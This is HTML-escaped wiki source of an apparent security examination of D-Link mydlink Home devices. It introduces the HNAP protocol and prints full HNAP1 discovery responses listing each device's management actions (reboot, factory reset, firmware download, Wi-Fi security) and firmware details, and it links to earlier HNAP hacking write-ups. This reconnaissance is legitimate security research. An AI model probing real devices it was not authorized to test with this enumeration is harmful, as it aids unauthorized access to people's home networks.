&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-Z110: Home Door/Window Sensor&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink™ Home Door/Window Sensor is a contact sensor that detects when a door or window is opened or closed, providing you with a trigger for automating your home. Integrating with D-Link’s HNAP protocol, the Door/Window Sensor connects seamlessly with your the connected home hub, guaranteeing compatibility and getting your smart home network up and running right away.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-Z120: Home Battery Motion Sensor&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink™ Home Motion Sensordetects motion within its field of view, providing you with a trigger for automating your home. Integrating with D-Link’s HNAP protocol, the Motion Sensor connects seamlessly with your Connected Home Hub, guaranteeing compatibility and getting your smart home network up and running right away.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-Z310: Home Smoke Detector&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Protect your home and loved ones with the mydlink™ Home Smoke Detector. A built-in audio alarm alerts you whenever smoke is detected and sends a push notification to your smartphone or tablet when you’re away from home.  mydlink Home enables you to create a smart home without complicated set up, installation costs or monthly subscription charges.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-Z510: Home Siren with optional battery back-up&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink Home Siren is a smart audio warning device with 6 different sounds built-in. It’s easy to set up and manage with the mydlink Home app, and connects to your router via the mydlink Home - Connected Home Hub.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCS-935L: Home Monitor HD&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink™ Home Monitor HD allows you to monitor your home, whenever, from wherever. See everything in full colour high definition 720p with sound. The built-in night vision allows you to see up to 5 metres even in complete darkness. It’s easy to setup, connects to your home Wi-Fi and can even alert you when motion or sound is detected. What’s more, it works with other mydlink™ Home smart devices to enable you to create a smart home without complicated setup, installation cost or monthly subscription&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCS-5010L: Home Monitor 360&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink™ Home Monitor 360 allows you to monitor your home, whenever, from wherever. Not only does it pan and tilt to cover wider areas, the built-in night vision allows you to see up to 8 metres even in complete darkness. It’s easy to setup, connects to your home Wi-Fi and can even alert you when motion is detected. What’s more, it works with other mydlink™ Home smart devices to enable you to create a smart home without complicated setup, installation cost or monthly subscription charges.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Home Network Administration Protocol (HNAP)&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;On the myDLink product website one can find the following information: “&amp;lt;i&amp;gt;Integrated with D-Link’s HNAP protocol, this secure, high performing Hub is perfect for all of your mydlink™ Home devices&amp;lt;/i&amp;gt;”&amp;lt;sup&amp;gt;[https://eu.dlink.com/uk/en/products/dch-g020-mydlink-connected-home-hub]&amp;lt;/sup&amp;gt;. Since proprietary HNAP is a relatively unknown protocol, this project first introduces HNAP and discusses its development and characteristics. The patent application for HNAP was filed in 2007 by company called Pure Networks, Inc.&amp;lt;sup&amp;gt;[http://www.freepatentsonline.com/y2007/0130286.html]&amp;lt;/sup&amp;gt;, which at that time provided networking software and services to home networking, small businesses, original equipment manufacturers, and broadband and Internet service providers. In 2008, Cisco bought Pure Networks, Inc. and therefore acquired HNAP and integrated it in a software product called Network Magic &amp;lt;sup&amp;gt;[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]&amp;lt;/sup&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;HNAP is a network device management protocol, that allows network devices to be silently managed and administered. HNAP is based on SOAP. Before SOAP Version 1.2, SOAP was the abbreviation for Simple Object Access Protocol. Since Version 1.2 that acronym was removed, because it was misleading. SOAP isn’t exclusively used for accessing objects, and the access per se cannot be described as “simple” or “easy”. Meanwhile SOAP stands for itself, an Extensible Markup Language (XML)-based protocol used for communication between distributed applications. HNAP was designed to be a simple, light weight protocol that is easy to implement inside of small cost-constrained hardware such as the devices used in this examination. Cisco promised three high level benefits to vendors for implementing HNAP in a network device &amp;lt;sup&amp;gt;[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]&amp;lt;/sup&amp;gt;:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;u&amp;gt;Accurate topology discovery&amp;lt;/u&amp;gt;:  A network device can accurately describe itself to applications that support HNAP and show detailed information about the device.&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;u&amp;gt;Custom task extensibility&amp;lt;/u&amp;gt;: For example, when a device with HNAP support is selected in an application, tasks related to that device can be displayed.&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;&amp;lt;u&amp;gt;Programmable API&amp;lt;/u&amp;gt;: The full programmable API suite allows devices’ network connections to be remotely managed and administered.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The participants in any HNAP interaction define the two roles – an HNAP server and an HNAP client. HNAP servers are typically implemented inside of networking devices to be managed. HNAP clients are usually software applications residing on PCs or other devices that can interact with an HNAP server in order to manage it, and ultimately, the device. &amp;lt;sup&amp;gt;[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]&amp;lt;/sup&amp;gt; In the case of the myDLink product family, the smartphone app takes a client role, while the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]] takes both roles. A typical client server interaction begins when a client has discovered an HNAP server on a network. It issues an HNAP discovery command in order to determine the capabilities of the device. A client then proceeds to make one or more HNAP requests to the server, which performs the desired action and returns the response.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;One can simply query all supported HNAP actions from a device by requesting the URL http://$DEVICE_IP/HNAP1/ from a web client. Since HNAP is encapsulated in HTTP, it is also the best way to determine if a device is HNAP-enabled since such devices need to reply to this request. In case of the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] the output of that link is listed below. There may be more or less SOAPactions available depending on the devices&#039; configuration.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;http://DCH-S150/HNAP1/&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;soap:Envelope xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot; xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot; xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;soap:Body&amp;gt;&lt;br /&gt;
		&amp;lt;GetDeviceSettingsResponse xmlns=&amp;quot;http://purenetworks.com/HNAP1/&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;GetDeviceSettingsResult&amp;gt;OK&amp;lt;/GetDeviceSettingsResult&amp;gt;&lt;br /&gt;
			&amp;lt;Type&amp;gt;ConnectedHomeClient&amp;lt;/Type&amp;gt;&lt;br /&gt;
			&amp;lt;DeviceName&amp;gt;MotionSensorDLink&amp;lt;/DeviceName&amp;gt;&lt;br /&gt;
			&amp;lt;VendorName&amp;gt;D-Link&amp;lt;/VendorName&amp;gt;&lt;br /&gt;
			&amp;lt;ModelDescription&amp;gt;D-Link Motion Detector&amp;lt;/ModelDescription&amp;gt;&lt;br /&gt;
			&amp;lt;ModelName&amp;gt;DCH-S150&amp;lt;/ModelName&amp;gt;&lt;br /&gt;
			&amp;lt;DeviceMacId&amp;gt;C4:12:F5:1C:8E:4C&amp;lt;/DeviceMacId&amp;gt;&lt;br /&gt;
			&amp;lt;FirmwareVersion&amp;gt;1.23&amp;lt;/FirmwareVersion&amp;gt;&lt;br /&gt;
			&amp;lt;FirmwareRegion&amp;gt;Default&amp;lt;/FirmwareRegion&amp;gt;&lt;br /&gt;
			&amp;lt;LatestFirmwareVersion/&amp;gt;&lt;br /&gt;
			&amp;lt;HardwareVersion&amp;gt;A1&amp;lt;/HardwareVersion&amp;gt;&lt;br /&gt;
			&amp;lt;HNAPVersion&amp;gt;0124&amp;lt;/HNAPVersion&amp;gt;&lt;br /&gt;
			&amp;lt;PresentationURL&amp;gt;http://dch.local&amp;lt;/PresentationURL&amp;gt;&lt;br /&gt;
			&amp;lt;CAPTCHA&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b style=&amp;quot;color: lightblue&amp;quot;&amp;gt;false&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&amp;lt;/CAPTCHA&amp;gt;&lt;br /&gt;
			&amp;lt;ModuleTypes&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;Motion Sensor&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;/ModuleTypes&amp;gt;&lt;br /&gt;
			&amp;lt;SOAPActions&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/Reboot&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetFactoryDefault&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/IsDeviceReady&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetDeviceSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetDeviceSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetDeviceSettings2&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetDeviceSettings2&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetGroupSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetGroupSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetSystemLogs&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/CleanSystemLogs&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleEnabled&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleEnabled&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleProfile&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleProfile&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleSOAPActions&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetTimeSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetTimeSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleGroup&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleGroup&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetScheduleSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetScheduleSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetRecursiveSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetRecursiveSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetFirmwareStatus&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetFirmwareValidation&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/StartFirmwareDownload&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/PollingFirmwareDownload&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/CheckNewFirmware&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SettriggerADIC&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetInternetSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetCurrentInternetStatus&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetWLanRadios&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetTriggerWirelessSiteSurvey&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetSiteSurvey&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetAPClientSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
				&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetAPClientSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;/SOAPActions&amp;gt;&lt;br /&gt;
			&amp;lt;SubDeviceURLs/&amp;gt;&lt;br /&gt;
		&amp;lt;/GetDeviceSettingsResponse&amp;gt;&lt;br /&gt;
	&amp;lt;/soap:Body&amp;gt;&lt;br /&gt;
&amp;lt;/soap:Envelope&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;nowiki&amp;gt;http://DCH-G020/HNAP1/&amp;lt;/nowiki&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;soap:Envelope xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot; xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot; xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;soap:Body&amp;gt;&lt;br /&gt;
	&amp;lt;GetDeviceSettingsResponse xmlns=&amp;quot;http://purenetworks.com/HNAP1/&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;GetDeviceSettingsResult&amp;gt;OK&amp;lt;/GetDeviceSettingsResult&amp;gt;&lt;br /&gt;
		&amp;lt;Type&amp;gt;ConnectedHomeClient&amp;lt;/Type&amp;gt;&lt;br /&gt;
		&amp;lt;DeviceName&amp;gt;DCH-G020&amp;lt;/DeviceName&amp;gt;&lt;br /&gt;
		&amp;lt;VendorName&amp;gt;D-Link&amp;lt;/VendorName&amp;gt;&lt;br /&gt;
		&amp;lt;ModelDescription&amp;gt;D-Link ConnectedHome Gateway&amp;lt;/ModelDescription&amp;gt;&lt;br /&gt;
		&amp;lt;ModelName&amp;gt;DCH-G020&amp;lt;/ModelName&amp;gt;&lt;br /&gt;
		&amp;lt;DeviceMacId&amp;gt;C4:12:F5:1A:58:F4&amp;lt;/DeviceMacId&amp;gt;&lt;br /&gt;
		&amp;lt;FirmwareVersion&amp;gt;1.25&amp;lt;/FirmwareVersion&amp;gt;&lt;br /&gt;
		&amp;lt;FirmwareRegion&amp;gt;Default&amp;lt;/FirmwareRegion&amp;gt;&lt;br /&gt;
		&amp;lt;LatestFirmwareVersion/&amp;gt;&lt;br /&gt;
		&amp;lt;HardwareVersion&amp;gt;A1&amp;lt;/HardwareVersion&amp;gt;&lt;br /&gt;
		&amp;lt;HNAPVersion&amp;gt;0124&amp;lt;/HNAPVersion&amp;gt;&lt;br /&gt;
		&amp;lt;PresentationURL&amp;gt;http://dchg.local&amp;lt;/PresentationURL&amp;gt;&lt;br /&gt;
		&amp;lt;CAPTCHA&amp;gt;false&amp;lt;/CAPTCHA&amp;gt;&lt;br /&gt;
		&amp;lt;ModuleTypes&amp;gt;&lt;br /&gt;
		&amp;lt;string&amp;gt;Gateway&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;/ModuleTypes&amp;gt;&lt;br /&gt;
		&amp;lt;SOAPActions&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/Reboot&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetFactoryDefault&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/IsDeviceReady&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetDeviceSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetDeviceSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetDeviceSettings2&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetDeviceSettings2&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetGroupSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetGroupSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetSystemLogs&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/CleanSystemLogs&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleEnabled&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleEnabled&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleProfile&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleProfile&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleSOAPActions&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetTimeSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetTimeSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetModuleGroup&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetModuleGroup&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetScheduleSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetScheduleSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetRecursiveSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetRecursiveSchedule&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetFirmwareStatus&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetFirmwareValidation&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/StartFirmwareDownload&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/PollingFirmwareDownload&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/CheckNewFirmware&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SettriggerADIC&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetInternetSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetCurrentInternetStatus&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetWLanRadios&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetWLanRadioSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetWLanRadioSettings&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/GetWLanRadioSecurity&amp;lt;/string&amp;gt;&lt;br /&gt;
			&amp;lt;string&amp;gt;http://purenetworks.com/HNAP1/SetWLanRadioSecurity&amp;lt;/string&amp;gt;&lt;br /&gt;
		&amp;lt;/SOAPActions&amp;gt;&lt;br /&gt;
		&amp;lt;SubDeviceURLs/&amp;gt;&lt;br /&gt;
		&amp;lt;/GetDeviceSettingsResponse&amp;gt;&lt;br /&gt;
	&amp;lt;/soap:Body&amp;gt;&lt;br /&gt;
&amp;lt;/soap:Envelope&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Network Magic was discontinued in 2012, because HNAP was abused on several occasions. It was possible to learn technical details of a device through HNAP, therefore exposing its vulnerable points for malicious attacks. &amp;lt;sup&amp;gt;[https://web.archive.org/web/20131226002253/http://www.sourcesec.com/2010/01/][https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf][http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/][http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;DCH-G020&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;DCH-S150&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;D-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;D-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Smart Hub&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Motion Sensor&amp;lt;/td&amp;gt;&lt;br /&gt;
